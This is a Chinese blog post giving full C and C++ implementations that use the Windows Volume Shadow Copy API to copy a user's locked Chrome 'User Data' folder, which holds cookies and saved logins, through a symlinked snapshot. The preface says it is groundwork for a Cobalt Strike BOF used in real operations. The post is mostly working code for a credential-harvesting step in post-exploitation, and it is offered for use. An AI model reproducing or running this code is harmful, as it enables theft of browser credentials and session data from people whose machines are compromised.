卷影副本win32 api com c++及c实现
前言:实战中需要用到CS上加载调试浏览器的bof版本,这边需要先实现卷影副本win32 api
c实现
#include <stdio.h>
#include <stdlib.h>
#include <vss.h>
#pragma comment(lib, "vssapi.lib")
#pragma comment(lib, "ole32.lib")
typedef struct IVssBackupComponents IVssBackupComponents;
HRESULT(WINAPI* func_CreateVssBackupComponents)(IVssBackupComponents** ppBackup);
void (WINAPI *func_VssFreeSnapshotProperties)(VSS_SNAPSHOT_PROP *pProp);
typedef struct IVssBackupComponentsVTable IVssBackupComponentsVTable;
typedef struct IVssBackupComponentsVTable {
void* QueryInterface;
void* AddRef;
ULONG(WINAPI* Release)(IVssBackupComponents* this);
void* GetWriterComponentsCount;
void* GetWriterComponents;
HRESULT(WINAPI* InitializeForBackup)(IVssBackupComponents* this, BSTR bstrXML);
HRESULT(WINAPI* SetBackupState)(IVssBackupComponents* this, BOOLEAN bSelectComponents, BOOLEAN bBackupBootableSystemState, VSS_BACKUP_TYPE backupType, BOOLEAN bPartialFileSupport);
void* InitializeForRestore;
void* SetRestoreState;
HRESULT(WINAPI* GatherWriterMetadata)(IVssBackupComponents* this, IVssAsync** ppAsync);
void* GetWriterMetadataCount;
void* GetWriterMetadata;
void* FreeWriterMetadata;
void* AddComponent;
HRESULT(WINAPI* PrepareForBackup)(IVssBackupComponents* this, IVssAsync** ppAsync);
void* AbortBackup;
void* GatherWriterStatus;
void* GetWriterStatusCount;
void* FreeWriterStatus;
void* GetWriterStatus;
void* SetBackupSucceeded;
void* SetBackupOptions;
void* SetSelectedForRestore;
void* SetRestoreOptions;
void* SetAdditionalRestores;
void* SetPreviousBackupStamp;
void* SaveAsXML;
void* BackupComplete;
void* AddAlternativeLocationMapping;
void* AddRestoreSubcomponent;
void* SetFileRestoreStatus;
void* AddNewTarget;
void* SetRangesFilePath;
void* PreRestore;
void* PostRestore;
HRESULT(WINAPI* SetContext)(IVssBackupComponents* this, LONG lContext);
HRESULT(WINAPI* StartSnapshotSet)(IVssBackupComponents* this, VSS_ID* pSnapshotSetId);
HRESULT(WINAPI* AddToSnapshotSet)(IVssBackupComponents* this, VSS_PWSZ pwszVolumeName, VSS_ID ProviderId, VSS_ID* pidSnapshot);
HRESULT(WINAPI* DoSnapshotSet)(IVssBackupComponents* this, IVssAsync** ppAsync);
void* DeleteSnapshots;
void* ImportSnapshots;
/*void *RemountReadWrite;*/ /* Old API only */
void* BreakSnapshotSet;
HRESULT(WINAPI* GetSnapshotProperties)(IVssBackupComponents* this, VSS_ID SnapshotId, VSS_SNAPSHOT_PROP* pprop);
void* Query;
void* IsVolumeSupported;
void* DisableWriterClasses;
void* EnableWriterClasses;
void* DisableWriterInstances;
void* ExposeSnapshot;
void* RevertToSnapshot;
void* QueryRevertStatus;
} IVssBackupComponentsVtbl;
struct IVssBackupComponents {
CONST_VTBL IVssBackupComponentsVTable* lpVtbl;
};
/* Call a method, assuming its signature is identical in the old and new APIs */
#define CALL_METHOD(obj, method, result, ...) \
do { \
*(result) = (obj)->lpVtbl->method((obj), ##__VA_ARGS__); \
} while (0)
HRESULT wait_and_release(IVssAsync* async)
{
HRESULT res;
res = async->lpVtbl->Wait(async, INFINITE);
async->lpVtbl->Release(async);
return res;
}
BOOL request_vss_snapshot(IVssBackupComponents* vss, IVssAsync* async, wchar_t* volume, VSS_ID* snapshot_id)
{
HRESULT hr;
CALL_METHOD(vss, InitializeForBackup, &hr, NULL);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.InitializeForBackup() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.InitializeForBackup() success\n");
CALL_METHOD(vss, SetBackupState, &hr, FALSE, TRUE, VSS_BT_COPY, FALSE);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.SetBackupState() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.SetBackupState() success\n");
CALL_METHOD(vss, StartSnapshotSet, &hr, snapshot_id);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.StartSnapshotSet() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.StartSnapshotSet() success\n");
CALL_METHOD(vss, AddToSnapshotSet, &hr, volume, (GUID) { 0 }, snapshot_id);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.AddToSnapshotSet() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.AddToSnapshotSet() success\n");
CALL_METHOD(vss, PrepareForBackup, &hr, &async);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.PrepareForBackup() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.PrepareForBackup() success\n");
hr = wait_and_release(async);
if (FAILED(hr)) {
printf("[-] IVssAsync.Wait() error while preparing for backup: %x\n", hr);
return FALSE;
}
printf("[+] IVssAsync.Wait() success\n");
CALL_METHOD(vss, DoSnapshotSet, &hr, &async);
if (FAILED(hr)) {
printf("[-] IVssBackupComponents.DoSnapshotSet() error: %x\n", hr);
return FALSE;
}
printf("[+] IVssBackupComponents.DoSnapshotSet() success\n");
hr = wait_and_release(async);
if (FAILED(hr)) {
printf("[-] IVssAsync.Wait() error while doing snapshot set: %x\n", hr);
return FALSE;
}
printf("[+] IVssAsync.Wait() success\n");
return TRUE;
}
// 创建符号链接目录
BOOL CreateSymbolicLinkDir(const wchar_t* symlinkPath, const wchar_t* targetPath)
{
if (CreateSymbolicLinkW(symlinkPath, targetPath, SYMBOLIC_LINK_FLAG_DIRECTORY))
{
wprintf(L"[+] Symbolic link created successfully: %s -> %s\n", symlinkPath, targetPath);
return TRUE;
}
else
{
DWORD error = GetLastError();
wprintf(L"[-] Failed to create symbolic link, error code: %lu\n", error);
return FALSE;
}
}
// 递归复制目录(类似于 xcopy /s /e /i /h)
BOOL CopyDirectory(const wchar_t* sourcePath, const wchar_t* destPath)
{
wchar_t srcPattern[MAX_PATH];
WIN32_FIND_DATAW findData;
HANDLE hFind;
BOOL result = TRUE;
// 构造搜索模式
swprintf(srcPattern, MAX_PATH, L"%s\\*", sourcePath);
hFind = FindFirstFileW(srcPattern, &findData);
if (hFind == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] Failed to find files: %s\n", sourcePath);
return FALSE;
}
// 创建目标目录
CreateDirectoryW(destPath, NULL);
do
{
const wchar_t* name = findData.cFileName;
if (wcscmp(name, L".") == 0 || wcscmp(name, L"..") == 0)
continue;
wchar_t srcFile[MAX_PATH];
wchar_t dstFile[MAX_PATH];
swprintf(srcFile, MAX_PATH, L"%s\\%s", sourcePath, name);
swprintf(dstFile, MAX_PATH, L"%s\\%s", destPath, name);
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// 递归复制子目录
if (!CopyDirectory(srcFile, dstFile))
result = FALSE;
}
else
{
// 复制文件
if (!CopyFileW(srcFile, dstFile, FALSE))
{
wprintf(L"[-] Failed to copy file: %s\n", srcFile);
result = FALSE;
}
else
{
wprintf(L"[+] Copied: %s\n", srcFile);
}
}
} while (FindNextFileW(hFind, &findData));
FindClose(hFind);
return result;
}
// 删除符号链接目录
BOOL DeleteSymbolicLinkDir(const wchar_t* symlinkPath)
{
if (RemoveDirectoryW(symlinkPath))
{
wprintf(L"[+] Symbolic link deleted: %s\n", symlinkPath);
return TRUE;
}
else
{
DWORD error = GetLastError();
wprintf(L"[-] Failed to delete symbolic link, error code: %lu\n", error);
return FALSE;
}
}
int main() {
HRESULT hr;
// 构造初始化变量
IVssBackupComponents* pBackup = NULL;
IVssAsync* pAsync = NULL;
VSS_ID snapshot_id;
// 构造符号链接路径和目标
WCHAR wszVolumes[2048] = L"C:\\";
WCHAR symlinkPath[MAX_PATH] = L"C:\\vss_symlink";
WCHAR copySource[MAX_PATH*2];
WCHAR copyDest[MAX_PATH*2] = L"C:\\ChromeUserDataBackup";
HANDLE hVssapi = LoadLibraryW(L"VssApi.dll");
if (!hVssapi) {
printf("vssapi.dll not found\n");
return -1;
}
func_CreateVssBackupComponents = (void*)GetProcAddress(hVssapi, "CreateVssBackupComponentsInternal");
hr = (*func_CreateVssBackupComponents)(&pBackup);
if (FAILED(hr)) {
printf("[-] CreateVssBackupComponentsInternal error: %x\n", hr);
FreeLibrary(hVssapi);
return -1;
}else {
printf("[+] CreateVssBackupComponentsInternal success\n");
}
func_VssFreeSnapshotProperties = (void *)GetProcAddress(hVssapi, "VssFreeSnapshotPropertiesInternal");
if (!func_VssFreeSnapshotProperties) {
FreeLibrary(hVssapi);
return -1;
}else {
printf("[+] VssFreeSnapshotPropertiesInternal success\n");
}
CoInitialize(NULL);
// in main func
if (!request_vss_snapshot(pBackup, pAsync, wszVolumes, &snapshot_id) ){
return -1;
}
// 获取快照信息
VSS_SNAPSHOT_PROP snapProp;
hr = pBackup->lpVtbl->GetSnapshotProperties(pBackup, snapshot_id, &snapProp);
if (FAILED(hr)) {
printf("[-] GetSnapshotProperties error: %x\n", hr);
return -1;
}
LPCWSTR snapshotDeviceObject = snapProp.m_pwszSnapshotDeviceObject;
// 构造源目录路径
swprintf(copySource, MAX_PATH * 2, L"%s\\Users\\join\\AppData\\Local\\Google\\Chrome\\User Data", symlinkPath);
// 创建符号链接目录(解决文件锁定问题)
if (!CreateSymbolicLinkDir(symlinkPath, snapshotDeviceObject))
{
wprintf(L"[-] Create symbolic link failed, cannot continue.\n");
return -1;
}
else
{
wprintf(L"[+] Create symbolic link success.\n");
}
// 递归复制目录
if (!CopyDirectory(copySource, copyDest))
{
wprintf(L"[-] Directory copy failed.\n");
}
else
{
wprintf(L"[+] Directory copy success.\n");
}
// 删除符号链接目录
if (!DeleteSymbolicLinkDir(symlinkPath))
{
wprintf(L"[-] Delete symbolic link failed, please clean manually: %s\n", symlinkPath);
}
else
{
wprintf(L"[+] Delete symbolic link success: %s\n", symlinkPath);
}
// 释放VSS资源
func_VssFreeSnapshotProperties(&snapProp);
if (pAsync) pAsync->lpVtbl->Release(pAsync);
if (pBackup) pBackup->lpVtbl->Release(pBackup);
// 清理资源
CoUninitialize();
FreeLibrary(hVssapi);
return 0;
}

c++实现
#include <ostream>
#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <iostream>
#include <Vss.h>
#include <VsWriter.h>
#include <VsBackup.h>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "uuid.lib")
#pragma comment(lib, "VssApi.lib")
bool CreateSymbolicLinkDir(const std::wstring& symlinkPath, const std::wstring& targetPath)
{
if (CreateSymbolicLinkW(symlinkPath.c_str(), targetPath.c_str(), SYMBOLIC_LINK_FLAG_DIRECTORY))
{
std::wcout << L"[+] Symbolic link created successfully: " << symlinkPath << L" -> " << targetPath << std::endl;
return true;
}
else
{
DWORD error = GetLastError();
std::wcerr << L"[-] Failed to create symbolic link, error code: " << error << std::endl;
return false;
}
}
// Recursively copy directory (similar to xcopy /s /e /i /h)
bool CopyDirectory(const std::wstring& sourcePath, const std::wstring& destPath)
{
std::wstring srcPattern = sourcePath + L"\\*";
WIN32_FIND_DATAW findData;
HANDLE hFind = FindFirstFileW(srcPattern.c_str(), &findData);
if (hFind == INVALID_HANDLE_VALUE)
{
std::wcerr << L"[-] Failed to find files: " << sourcePath << std::endl;
return false;
}
// Create destination directory
CreateDirectoryW(destPath.c_str(), NULL);
do
{
std::wstring name = findData.cFileName;
if (name == L"." || name == L"..")
continue;
std::wstring srcFile = sourcePath + L"\\" + name;
std::wstring dstFile = destPath + L"\\" + name;
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// Recursively copy subdirectory
CopyDirectory(srcFile, dstFile);
}
else
{
// Copy file
if (!CopyFileW(srcFile.c_str(), dstFile.c_str(), FALSE))
{
std::wcerr << L"[-] Failed to copy file: " << srcFile << std::endl;
}
else
{
std::wcout << L"[+] Copied: " << srcFile << std::endl;
}
}
} while (FindNextFileW(hFind, &findData));
FindClose(hFind);
return true;
}
// Delete symbolic link directory
bool DeleteSymbolicLinkDir(const std::wstring& symlinkPath)
{
if (RemoveDirectoryW(symlinkPath.c_str()))
{
std::wcout << L"[+] Symbolic link deleted: " << symlinkPath << std::endl;
return true;
}
else
{
DWORD error = GetLastError();
std::wcerr << L"[-] Failed to delete symbolic link, error code: " << error << std::endl;
return false;
}
}
int main()
{
// 定义需要快照的卷
WCHAR wszVolumes[2048] = L"C:\\";
std::wstring symlinkPath = L"C:\\Users\\Public\\shadow_snapshot";
std::wstring copyDest = L"C:\\Users\\Public\\chrome_demo";
bool bCoInitializeSucceeded = false;
try
{
HRESULT hr = S_OK;
// Initialize COM security
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
std::cerr << "[-] CoInitializeEx failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::cout << "[+] CoInitializeEx success" << std::endl;
}
hr = CoInitializeSecurity
(
NULL, // IN PSECURITY_DESCRIPTOR pSecDesc,
-1, // IN LONG cAuthSvc,
NULL, // IN SOLE_AUTHENTICATION_SERVICE *asAuthSvc,
NULL, // IN void *pReserved1,
RPC_C_AUTHN_LEVEL_CONNECT, // IN DWORD dwAuthnLevel,
RPC_C_IMP_LEVEL_IMPERSONATE, // IN DWORD dwImpLevel,
NULL, // IN void *pAuthList,
EOAC_NONE, // IN DWORD dwCapabilities,
NULL // IN void *pReserved3
);
if (FAILED(hr)) {
std::wcerr << L"[-] CoInitializeSecurity failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] CoInitializeSecurity success" << std::endl;
}
bCoInitializeSucceeded = true;
IVssAsync* pAsync = NULL;
IVssBackupComponents* pvbc = NULL;
hr = CreateVssBackupComponents(&pvbc);
if (FAILED(hr) || pvbc == NULL) {
std::wcerr << L"[-] CreateVssBackupComponents failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] CreateVssBackupComponents success" << std::endl;
}
hr = pvbc->InitializeForBackup();
if (FAILED(hr)) {
std::wcerr << L"[-] InitializeForBackup failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] InitializeForBackup success" << std::endl;
}
hr = pvbc->SetBackupState(true, false, VSS_BT_FULL, true);
if (FAILED(hr)) {
std::wcerr << L"[-] SetBackupState failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] SetBackupState success" << std::endl;
}
hr = pvbc->GatherWriterMetadata(&pAsync);
if (FAILED(hr)) {
std::wcerr << L"[-] GatherWriterMetadata failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] GatherWriterMetadata success" << std::endl;
}
VSS_ID idSet, idSnap;
hr = pvbc->StartSnapshotSet(&idSet);
if (FAILED(hr)) {
std::wcerr << L"[-] StartSnapshotSet failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] StartSnapshotSet success" << std::endl;
}
hr = pvbc->AddToSnapshotSet(wszVolumes, GUID_NULL, &idSnap);
if (FAILED(hr)) {
std::wcerr << L"[-] AddToSnapshotSet failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] AddToSnapshotSet success" << std::endl;
}
hr = pvbc->PrepareForBackup(&pAsync);
if (FAILED(hr)) {
std::wcerr << L"[-] PrepareForBackup failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] PrepareForBackup success" << std::endl;
}
HRESULT hrResult;
INT nPercentDone = 0;
hr = pvbc->DoSnapshotSet(&pAsync);
if (FAILED(hr)) {
std::wcerr << L"[-] DoSnapshotSet failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] DoSnapshotSet success" << std::endl;
}
hr = pAsync->Wait();
if (FAILED(hr)) {
std::wcerr << L"[-] pAsync->Wait failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] pAsync->Wait success" << std::endl;
}
hr = pAsync->QueryStatus(&hrResult, &nPercentDone);
if (FAILED(hr) || FAILED(hrResult)) {
std::wcerr << L"[-] pAsync->QueryStatus failed, hr: 0x" << std::hex << (FAILED(hr) ? hr : hrResult) << std::endl;
return -1;
} else {
std::wcout << L"[+] pAsync->QueryStatus success" << std::endl;
}
// Get snapshot device object path
VSS_SNAPSHOT_PROP snapProp;
hr = pvbc->GetSnapshotProperties(idSnap, &snapProp);
if (FAILED(hr)) {
std::wcerr << L"[-] GetSnapshotProperties failed, hr: 0x" << std::hex << hr << std::endl;
return -1;
} else {
std::wcout << L"[+] GetSnapshotProperties success. " << std::endl;
}
std::wstring snapshotDeviceObject = snapProp.m_pwszSnapshotDeviceObject;
// Create symbolic link directory (to solve file lock issue)
if (!CreateSymbolicLinkDir(symlinkPath, snapshotDeviceObject))
{
std::wcout << L"[-] Create symbolic link failed, cannot continue." << std::endl;
return -1;
}
else
{
std::wcout << L"[+] Create symbolic link success." << std::endl;
}
// Recursively copy directory
if (!CopyDirectory(symlinkPath + L"\\Users\\join\\AppData\\Local\\Google\\Chrome\\User Data", copyDest))
{
std::wcerr << L"[-] Directory copy failed." << std::endl;
// Continue to try deleting symbolic link
}
else
{
std::wcout << L"[+] Directory copy success." << std::endl;
}
// Delete symbolic link directory
if (!DeleteSymbolicLinkDir(symlinkPath))
{
std::wcerr << L"[-] Delete symbolic link failed, please clean manually: " << symlinkPath << std::endl;
}
else
{
std::wcout << L"[+] Delete symbolic link success: " << symlinkPath << std::endl;
}
// 释放VSS资源
::VssFreeSnapshotProperties(&snapProp);
if (pAsync) pAsync->Release();
if (pvbc) pvbc->Release();
return 0;
}
catch (HRESULT hrParse)
{
std::wcerr << L"[-] 异常,错误码: " << std::hex << hrParse << std::endl;
return -1;
}
}

浙公网安备 33010602011771号